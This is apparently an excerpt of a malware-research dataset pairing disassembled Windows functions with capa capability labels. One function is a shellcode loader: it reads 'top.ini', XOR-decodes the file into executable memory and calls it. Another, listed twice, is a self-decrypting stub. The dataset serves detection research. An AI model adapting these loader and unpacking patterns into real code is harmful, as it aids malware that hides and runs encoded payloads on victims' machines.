joyce8/EMBER2024-capa huggingface dataset:
Function at 0x49b630
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x208
push ebx
push ebp
push esi
push edi
mov esi, ecx
push 0
call fcn.004a1ab0
mov ebp, dword [esp + 0x220]
mov eax, dword [esp + 0x21c]
push ebp
push 0
push 0
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov edi, eax
cmp edi, 0x20
ja 0x49b729
lea ecx, [esp + 0x10]
push ecx
push str..htm
push closesocket
mov ecx, esi
call fcn.0049b740
test eax, eax
jne 0x49b729
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea edx, [esp + 0x10]
push str._shellopencommand
push edx
call ebx
lea eax, [esp + 0x10]
lea ecx, [esp + 0x10]
push eax
push ecx
push closesocket
mov ecx, esi
call fcn.0049b740
test eax, eax
jne 0x49b729
lea edx, [esp + 0x10]
push 0x51a4dc
push edx
call fcn.004b62e0
mov esi, eax
add esp, 8
test esi, esi
jne 0x49b6fa
lea eax, [esp + 0x10]
push 0x51a4d8
push eax
call fcn.004b62e0
mov esi, eax
add esp, 8
test esi, esi
jne 0x49b6fa
lea ecx, [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0xf]
jmp 0x49b6fd
mov byte [esi], 0
push 0x519ca0
push esi
call ebx
mov edx, dword [esp + 0x21c]
push edx
push esi
call ebx
lea eax, [esp + 0x10]
push ebp
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x208
ret 8
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x208
ret 8

Function at 0x49b740
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x49b7a2
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x4a19f0
Capabilities:
Get common file path

Disassembly:
push 0xffffffffffffffff
push 0x4e9a48
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push edi
mov edi, ecx
mov eax, dword [edi + 0x118]
test eax, eax
jne 0x4a1aa0
mov eax, dword [0x51aef4]
push esi
mov dword [esp + 8], eax
push 0x104
push 0x104
lea ecx, [esp + 0x10]
mov dword [esp + 0x1c], 0
call fcn.004d7c56
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push 0xffffffffffffffff
lea ecx, [esp + 0xc]
call fcn.004d7ca5
push str.winhlp32.exe
lea ecx, [esp + 0xc]
call fcn.004d7c02
mov ecx, dword [esp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
je 0x4a1a87
push 0x6a
push esi
call dword [sym.imp.USER32.dll_LoadCursorA]
test eax, eax
je 0x4a1a87
push eax
call dword [sym.imp.USER32.dll_CopyIcon]
mov dword [edi + 0x118], eax
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea ecx, [esp + 8]
mov dword [esp + 0x14], 0xffffffff
call fcn.004d7826
pop esi
mov ecx, dword [esp + 8]
pop edi
mov dword fs:[0], ecx
add esp, 0x10
ret
Function at 0x4a4ba0
Capabilities:
Get number of processors

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4e9ed0
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push esi
push edi
mov edi, dword [esp + 0x30]
mov esi, ecx
mov eax, dword [edi]
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x4a4d47
mov ecx, dword [0x51aef4]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], ecx
mov dword [esp + 0x28], 0
mov dword [esp + 0x30], ecx
mov ecx, dword [eax - 8]
mov bl, 1
test ecx, ecx
mov byte [esp + 0x28], bl
jle 0x4a4c9c
lea eax, [esp + 0x10]
lea ecx, [esp + 0x14]
push eax
push edi
push ecx
mov ecx, esi
call fcn.004a38c0
push eax
lea ecx, [esp + 0x10]
mov byte [esp + 0x2c], 2
call fcn.004d795f
lea ecx, [esp + 0x14]
mov byte [esp + 0x28], bl
call fcn.004d7826
push ecx
mov ecx, esp
mov dword [esp + 0x20], esp
push 0x519ca0
call fcn.004d7894
lea edx, [esp + 0x14]
push 0x3d
push edx
lea eax, [esp + 0x24]
push edi
push eax
mov ecx, esi
call fcn.004a3c80
push eax
lea ecx, [esp + 0x34]
mov byte [esp + 0x2c], 3
call fcn.004d795f
lea ecx, [esp + 0x18]
mov byte [esp + 0x28], bl
call fcn.004d7826
lea ecx, [esp + 0xc]
call fcn.004d7d3a
mov ecx, dword [esp + 0xc]
push 0x51a6dc
push ecx
call fcn.004b4fa4
add esp, 8
test eax, eax
je 0x4a4cc4
mov edx, dword [edi]
mov ecx, dword [esp + 0x10]
mov eax, dword [edx - 8]
cmp ecx, eax
jl 0x4a4bfd
mov esi, dword [esp + 0x34]
lea ecx, [esp + 0x30]
mov byte [esp + 0x28], 0
call fcn.004d7826
lea ecx, [esp + 0xc]
mov dword [esp + 0x28], 0xffffffff
call fcn.004d7826
jmp 0x4a4d4b
lea eax, [esp + 0x30]
mov ecx, esi
push eax
call fcn.004a4940
test eax, eax
push 0
je 0x4a4d2f
lea ecx, [esp + 0x34]
push 0x64
push ecx
mov ecx, esi
call fcn.004a2fe0
mov ecx, dword [esp + 0x3c]
test ecx, ecx
je 0x4a4d15
cmp eax, 0x64
jg 0x4a4d03
mov edx, dword [esp + 0x38]
push eax
push 0x64
push edx
call dword [sym.imp.KERNEL32.dll_MulDiv]
mov esi, eax
jmp 0x4a4ca0
push 0x64
push eax
mov eax, dword [esp + 0x40]
push eax
call dword [sym.imp.KERNEL32.dll_MulDiv]
mov esi, eax
jmp 0x4a4ca0
cmp eax, 0x64
jge 0x4a4c9c
mov ecx, dword [esp + 0x34]
push 0x64
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_MulDiv]
mov esi, eax
jmp 0x4a4ca0
mov edx, dword [esp + 0x3c]
lea eax, [esp + 0x34]
push edx
push eax
mov ecx, esi
call fcn.004a2fe0
mov esi, eax
jmp 0x4a4ca0
mov esi, dword [esp + 0x34]
mov eax, dword [esp + 0x38]
cmp esi, eax
jl 0x4a4d55
mov eax, esi
mov ecx, dword [esp + 0x20]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
add esp, 0x20
ret 0x10
Function at 0x4cd870
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push 0xffffffffffffffff
push 0x4eb5a0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
mov al, byte [esp + 0x3c]
push ebx
xor ebx, ebx
push esi
mov esi, ecx
mov byte [esp + 0x10], al
mov dword [esp + 0x14], ebx
mov dword [esp + 0x18], ebx
mov dword [esp + 0x1c], ebx
mov ecx, dword [esp + 0x44]
push ebx
mov dword [esp + 0x40], ebx
mov byte [esp + 0x28], al
mov edx, dword [ecx]
lea ecx, [esp + 0x28]
mov dword [esp + 0x24], edx
call fcn.004c294c
mov eax, dword [0x4fdeb8]
lea ecx, [esp + 0x10]
push eax
push ebx
push ecx
lea ecx, [esp + 0x30]
call fcn.004c287e
lea edx, [esp + 0x20]
lea eax, [esp + 8]
push edx
push eax
mov ecx, esi
mov byte [esp + 0x44], 1
call fcn.004ce310
mov esi, dword [eax]
mov ecx, dword [eax + 4]
mov eax, dword [esp + 0x28]
cmp eax, ebx
mov dword [esp + 0xc], ecx
je 0x4cd917
lea ecx, [eax - 1]
mov al, byte [eax - 1]
cmp al, bl
je 0x4cd90e
cmp al, 0xff
je 0x4cd90e
dec al
mov byte [ecx], al
jmp 0x4cd917
push ecx
call fcn.004d7590
add esp, 4
mov eax, dword [esp + 0x14]
mov dword [esp + 0x28], ebx
cmp eax, ebx
mov dword [esp + 0x2c], ebx
mov dword [esp + 0x30], ebx
je 0x4cd948
lea ecx, [eax - 1]
mov al, byte [eax - 1]
cmp al, bl
je 0x4cd93f
cmp al, 0xff
je 0x4cd93f
dec al
mov byte [ecx], al
jmp 0x4cd948
push ecx
call fcn.004d7590
add esp, 4
mov ecx, dword [esp + 0x34]
lea eax, [esi + 0x10]
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x38
ret 4
Function at 0x4d37c0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0xe4
mov eax, 0x520474
cmp cl, 0x39
mov dword [esp], eax
mov dword [esp + 4], 0x520030
mov dword [esp + 8], 0x52002c
mov dword [esp + 0xc], 0x520028
mov dword [esp + 0x10], 0x520024
mov dword [esp + 0x14], 0x511e18
mov dword [esp + 0x18], 0x4fdf04
mov dword [esp + 0x1c], 0x520020
mov dword [esp + 0x20], 0x52001c
mov dword [esp + 0x24], 0x520018
mov dword [esp + 0x28], 0x520014
mov dword [esp + 0x2c], 0x520010
mov dword [esp + 0x30], 0x50e270
mov dword [esp + 0x34], 0x52000c
mov dword [esp + 0x38], 0x517220
mov dword [esp + 0x3c], 0x520008
mov dword [esp + 0x40], str.______
mov dword [esp + 0x44], 0x51fff8
mov dword [esp + 0x48], 0x516b20
mov dword [esp + 0x4c], 0x51fbb0
mov dword [esp + 0x50], 0x51fff4
mov dword [esp + 0x54], 0x51fff0
mov dword [esp + 0x58], eax
mov dword [esp + 0x5c], eax
mov dword [esp + 0x60], 0x51ffec
mov dword [esp + 0x64], 0x51ffe8
mov dword [esp + 0x68], 0x51ffe4
mov dword [esp + 0x6c], 0x50e21c
mov dword [esp + 0x70], 0x516aac
mov dword [esp + 0x74], 0x516b14
mov dword [esp + 0x78], 0x516b08
mov dword [esp + 0x7c], 0x516ae8
mov dword [esp + 0x80], 0x516b0c
mov dword [esp + 0x84], str.vui
mov dword [esp + 0x88], 0x516aec
mov dword [esp + 0x8c], 0x516ae0
mov dword [esp + 0x90], 0x51ffe0
mov dword [esp + 0x94], 0x50e218
mov dword [esp + 0x98], str.eoa
mov dword [esp + 0x9c], eax
mov dword [esp + 0xa0], eax
mov dword [esp + 0xa4], eax
mov dword [esp + 0xa8], eax
mov dword [esp + 0xac], eax
mov dword [esp + 0xb0], eax
mov dword [esp + 0xb4], eax
mov dword [esp + 0xb8], eax
mov dword [esp + 0xbc], 0x4fdf0c
mov dword [esp + 0xc0], 0x51fb7c
mov dword [esp + 0xc4], 0x51fb64
mov dword [esp + 0xc8], 0x4fdf08
mov dword [esp + 0xcc], str.ZYXVUTSRQPONMLKJIHGFDBA
mov dword [esp + 0xd0], 0x51fba4
mov dword [esp + 0xd4], str._:_n__
mov dword [esp + 0xd8], 0x516b1c
mov dword [esp + 0xdc], 0x51fb80
mov dword [esp + 0xe0], 0x51fb88
jae 0x4d39c1
and ecx, 0xff
mov eax, dword [esp + ecx*4]
add esp, 0xe4
ret
Function at 0x4d9c80
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x4d9cb8
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.004d7ccd
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.004d7ca5
jmp 0x4d9cc4
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x4db372
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x4db3b4
call fcn.004e168e
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x4db3b4
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x4db3ab
xor eax, eax
jmp 0x4db3bc
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.004db3c2
pop edi
pop esi
pop ebx
ret 4
Function at 0x572c80
Capabilities:
Connect socket

Disassembly:
push ebp
mov ebp, esp
push ecx
push edx
push eax
call sub.ws2_32.dll_connect
mov esp, ebp
pop ebp
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Move file
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push 0x6f
pop eax
push 0x70
mov word [ebp - 0xc], ax
pop eax
push 0x65
mov word [ebp - 0xa], ax
pop eax
mov word [ebp - 8], ax
push 0x6e
pop eax
mov word [ebp - 6], ax
xor eax, eax
mov word [ebp - 4], ax
xor ebx, ebx
movzx ecx, word [eax + 0x10002030]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, bx
jne 0x1000117a
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push ebx
push str.fadfafafasf
push str.fasdfaf
mov esi, eax
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
push 1
push ebx
push ebx
push 0x1000208c
lea eax, [ebp - 0xc]
push eax
push ebx
call esi
mov edi, 0x10003028
sub edi, 2
mov ax, word [edi + 2]
add edi, 2
cmp ax, bx
jne 0x100011d3
push 0x40
mov ebx, pe_overlay
mov esi, 0x10002090
push ebx
movsd dword es:[edi], dword [esi]
push ebx
push 0
movsd dword es:[edi], dword [esi]
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x10003018], eax
mov eax, 0x10003028
lea edi, [eax - 2]
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x10001204
mov esi, str.top.ini
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
xor esi, esi
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000301c], eax
pop edi
cmp eax, 0xffffffff
je 0x1000127a
push esi
push 0x10003020
push ebx
push dword [0x10003018]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003018]
movzx ecx, byte [eax]
xor ecx, 0x4e
cmp dword [0x10003020], esi
jbe 0x10001278
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003020]
jb 0x10001264
call eax
pop esi
pop ebx
leave
ret 0x10

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x402560
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x41fa5b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x944
mov eax, dword [0x429990]
push esi
push edi
mov dword [esp + 0x944], eax
xor eax, eax
xor edx, edx
mov dword [esp + 0x18], edx
mov ecx, 0x103
lea edi, [esp + 0x1c]
rep stosd dword es:[edi], eax
mov byte [esp + 0x838], al
mov ecx, 0x40
lea edi, [esp + 0x839]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 8]
push eax
push 0x410
lea ecx, [esp + 0x20]
push ecx
mov dword [esp + 0x14], edx
mov dword [esp + 0x1c], edx
call sub.PSAPI.DLL_EnumProcesses
test eax, eax
je 0x4026cb
call fcn.0041681c
mov edx, dword [eax]
mov ecx, eax
call dword [edx + 0xc]
lea esi, [eax + 0x10]
mov dword [esp + 0xc], esi
xor edi, edi
mov dword [esp + 0x954], edi
mov eax, dword [esp + 8]
shr eax, 2
test eax, eax
jle 0x4026a6
lea esp, [esp]
mov ecx, dword [esp + edi*4 + 0x18]
push ecx
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
lea edx, [esp + 0x10]
push edx
mov esi, eax
push 0x410
lea eax, [esp + 0x430]
push eax
push esi
call sub.PSAPI.DLL_EnumProcessModules
mov edx, dword [esp + 0x428]
push 0x104
lea ecx, [esp + 0x83c]
push ecx
push edx
push esi
call sub.PSAPI.DLL_GetModuleFileNameExA
lea eax, [esp + 0x838]
push eax
lea ecx, [esp + 0x10]
push 0x424038
push ecx
call fcn.004027e0
mov esi, dword [esp + 0x18]
add esp, 0xc
test ebx, ebx
je 0x402696
mov eax, dword [esi - 0xc]
test eax, eax
jl 0x402696
push ebx
push esi
call fcn.0040a33a
add esp, 8
test eax, eax
je 0x402696
sub eax, esi
mov dword [esp + 0x14], eax
jns 0x4026ed
mov edx, dword [esp + 8]
inc edi
shr edx, 2
cmp edi, edx
jl 0x402610
lea eax, [esi - 0x10]
mov dword [esp + 0x954], 0xffffffff
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4026cb
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
xor eax, eax
mov ecx, dword [esp + 0x94c]
mov dword fs:[0], ecx
mov ecx, dword [esp + 0x944]
call fcn.0040b693
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov edi, dword [esp + edi*4 + 0x18]
lea eax, [esi - 0x10]
mov dword [esp + 0x954], 0xffffffff
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x402716
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
mov eax, edi
jmp 0x4026cd

Function at 0x4034a0
Capabilities:
Get common file path

Disassembly:
push 0x42fa48
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov eax, 0x42fa48
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4034b8
sub eax, edx
push edi
lea edi, [eax + 0x42fa48]
dec edi
lea esp, [esp]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x4034d0
mov ax, word [0x4243d0]
push 0x42fc50
push 0x104
mov word [edi], ax
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
push 0x4243c8
push 0x42fc50
call fcn.0040a7fb
lea ecx, [eax*2 + 0x42fc50]
add esp, 4
push ecx
call fcn.0040a73d
add esp, 8
pop edi
ret
Function at 0x403900
Capabilities:
Terminate thread

Disassembly:
push ebx
push esi
mov esi, ecx
mov eax, dword [esi + 0x60]
xor ebx, ebx
push ebx
push eax
mov dword [esi], 0x424410
call dword [sym.imp.KERNEL32.dll_TerminateThread]
cmp dword [esi + 0x5c], 0x10
jb 0x403929
mov ecx, dword [esi + 0x48]
push ecx
call fcn.0041794e
add esp, 4
mov dword [esi + 0x5c], 0xf
mov dword [esi + 0x58], ebx
mov byte [esi + 0x48], bl
cmp dword [esi + 0x40], 0x10
jb 0x403948
mov edx, dword [esi + 0x2c]
push edx
call fcn.0041794e
add esp, 4
mov dword [esi + 0x40], 0xf
mov dword [esi + 0x3c], ebx
mov byte [esi + 0x2c], bl
cmp dword [esi + 0x24], 8
jb 0x403967
mov eax, dword [esi + 0x10]
push eax
call fcn.0041794e
add esp, 4
mov dword [esi + 0x20], ebx
mov dword [esi + 0x24], 7
mov word [esi + 0x10], bx
pop esi
pop ebx
ret

Function at 0x403980
Capabilities:
Create thread
Terminate thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x420
mov eax, dword [0x429990]
push ebx
push edi
mov ebx, ecx
push 0x424430
push ebx
mov dword [esp + 0x42c], eax
call fcn.0040aac0
add esp, 8
test eax, eax
je 0x4039c5
mov edi, edi
push 0x424430
push ebx
mov byte [eax], 0x2f
call fcn.0040aac0
add esp, 8
test eax, eax
jne 0x4039b0
xor eax, eax
mov word [esp + 0x10], 0
mov ecx, 0x103
lea edi, [esp + 0x12]
rep stosd dword es:[edi], eax
push 0x207
stosw word es:[edi], ax
lea eax, [esp + 0x14]
push eax
push 0xffffffffffffffff
push ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea ecx, [esp + 0x10]
push ecx
call fcn.0040a7fb
add esp, 4
push eax
lea ecx, [esi + 0xc]
lea eax, [esp + 0x14]
call fcn.00403640
mov eax, ebx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403a11
sub eax, edx
push eax
push ebx
lea ecx, [esi + 0x28]
call fcn.004017f0
mov ecx, dword [ebp + 8]
mov eax, ecx
lea edi, [eax + 1]
lea esp, [esp]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x403a30
sub eax, edi
push eax
push ecx
lea ecx, [esi + 0x44]
call fcn.004017f0
mov ebx, dword [sym.imp.WINMM.dll_timeGetTime]
xor edi, edi
mov dword [esi + 0x6c], edi
mov dword [esi + 0x70], edi
call ebx
mov dword [esi + 0x74], eax
call ebx
mov edx, dword [esi + 0x60]
mov dword [esi + 0x78], eax
mov eax, 1
push edi
push edx
mov dword [esi + 0x7c], edi
mov dword [esi + 0x80], edi
mov dword [esi + 0x64], eax
mov dword [esi + 0x68], eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
lea eax, [esp + 0xc]
push eax
push edi
push esi
push 0x403af0
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ebx, dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push 0x42ef90
mov dword [esi + 0x60], eax
call ebx
mov edi, dword [esi + 0x64]
push 0x42ef90
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
test edi, edi
je 0x403ad1
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x42ef90
call ebx
mov edi, dword [esi + 0x64]
push 0x42ef90
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
test edi, edi
jne 0x403ab0
mov eax, dword [esi + 0x68]
mov ecx, dword [esp + 0x424]
test eax, eax
setne al
call fcn.0040b693
pop edi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x4043f0
Capabilities:
Terminate thread

Disassembly:
push ebx
push ebp
push esi
push edi
mov edi, ecx
mov eax, dword [edi + 0x458]
xor ebx, ebx
push ebx
push eax
mov dword [edi], 0x424450
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov dword [edi + 0x3f4], 0x42444c
mov eax, dword [edi + 0x450]
mov ebp, 0x10
cmp eax, ebp
jb 0x404434
mov ecx, dword [edi + 0x43c]
push ecx
call fcn.0041794e
add esp, 4
mov esi, 0xf
mov dword [edi + 0x450], esi
mov dword [edi + 0x44c], ebx
mov byte [edi + 0x43c], bl
mov dword [edi + 0x390], 0x42444c
cmp dword [edi + 0x3ec], ebp
jb 0x40446c
mov edx, dword [edi + 0x3d8]
push edx
call fcn.0041794e
add esp, 4
mov dword [edi + 0x3ec], esi
mov dword [edi + 0x3e8], ebx
mov byte [edi + 0x3d8], bl
cmp dword [edi + 0x124], ebp
jb 0x404495
mov eax, dword [edi + 0x110]
push eax
call fcn.0041794e
add esp, 4
mov dword [edi + 0x124], esi
mov dword [edi + 0x120], ebx
lea esi, [edi + 0x100]
mov byte [edi + 0x110], bl
call fcn.00406880
lea esi, [edi + 0xf4]
call fcn.00406880
cmp dword [edi + 0xec], ebp
jb 0x4044d4
mov ecx, dword [edi + 0xd8]
push ecx
call fcn.0041794e
add esp, 4
mov esi, 0xf
mov dword [edi + 0xec], esi
mov dword [edi + 0xe8], ebx
mov byte [edi + 0xd8], bl
cmp dword [edi + 0xd0], ebp
jb 0x404502
mov edx, dword [edi + 0xbc]
push edx
call fcn.0041794e
add esp, 4
mov dword [edi + 0xd0], esi
mov dword [edi + 0xcc], ebx
mov byte [edi + 0xbc], bl
cmp dword [edi + 0xb4], ebp
jb 0x40452b
mov eax, dword [edi + 0xa0]
push eax
call fcn.0041794e
add esp, 4
mov dword [edi + 0xb4], esi
mov dword [edi + 0xb0], ebx
mov byte [edi + 0xa0], bl
mov ecx, edi
pop edi
pop esi
pop ebp
pop ebx
jmp fcn.00403900

Function at 0x405270
Capabilities:
Create thread
Terminate thread

Disassembly:
push ecx
mov eax, edx
push edi
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x405277
sub eax, edi
push eax
push edx
lea ecx, [esi + 0xd4]
call fcn.004017f0
mov ecx, dword [esi + 0x458]
mov ax, word [esp + 0xc]
push 0
push ecx
mov word [esi + 0xf0], ax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
lea edx, [esp + 4]
push edx
push 0
push esi
push 0x4052d0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [esi + 0x458], eax
mov al, 1
pop edi
pop ecx
ret 4
Function at 0x406650
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x41fa28
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
mov esi, dword [esp + 0x1c]
mov eax, dword [esi]
mov ecx, dword [eax - 0x10]
mov edx, dword [ecx]
push edi
xor edi, edi
mov dword [esp + 8], edi
call dword [edx + 0x10]
mov edx, dword [eax]
mov ecx, eax
call dword [edx + 0xc]
add eax, 0x10
mov dword [esp + 0x20], eax
mov eax, dword [esp + 0x24]
mov dword [esp + 0x14], edi
mov eax, dword [eax]
mov edx, dword [eax - 0xc]
mov ecx, dword [esi]
mov esi, dword [ecx - 0xc]
push edx
push eax
push esi
push ecx
lea ecx, [esp + 0x30]
push ecx
call fcn.004067b0
mov esi, dword [esp + 0x34]
add esi, 0xfffffff0
push esi
call fcn.00401790
mov edi, dword [esp + 0x34]
add eax, 0x10
mov dword [edi], eax
add esp, 0x18
mov dword [esp + 0x14], 0xffffffff
lea edx, [esi + 0xc]
or eax, 0xffffffff
lock xadd dword [edx], eax
dec eax
test eax, eax
jg 0x4066e2
mov ecx, dword [esi]
mov edx, dword [ecx]
push esi
call dword [edx + 4]
mov ecx, dword [esp + 0xc]
mov eax, edi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret

Function at 0x406ec0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x41fb38
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20
mov eax, dword [esp + 0x30]
push ebx
xor ebx, ebx
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [esp + 0x14]
mov dword [esp + 0x10], ebx
mov dword [esp + 0x2c], 0xf
mov dword [esp + 0x28], ebx
mov byte [esp + 0x18], bl
call fcn.00401570
mov ecx, dword [esp + 0x38]
mov dword [esp + 0x2c], ebx
push ebx
or eax, 0xffffffff
lea ebx, [esp + 0xc]
call fcn.00402b20
xor ecx, ecx
push 0xffffffffffffffff
mov dword [esi + 0x14], ecx
push ecx
mov dword [esi + 0x18], 0xf
mov byte [esi + 4], cl
push eax
mov ecx, esi
call fcn.00401570
cmp dword [esp + 0x20], 0x10
pop ebx
jb 0x406f44
mov ecx, dword [esp + 8]
push ecx
call fcn.0041794e
add esp, 4
mov ecx, dword [esp + 0x20]
mov eax, esi
mov dword fs:[0], ecx
add esp, 0x2c
ret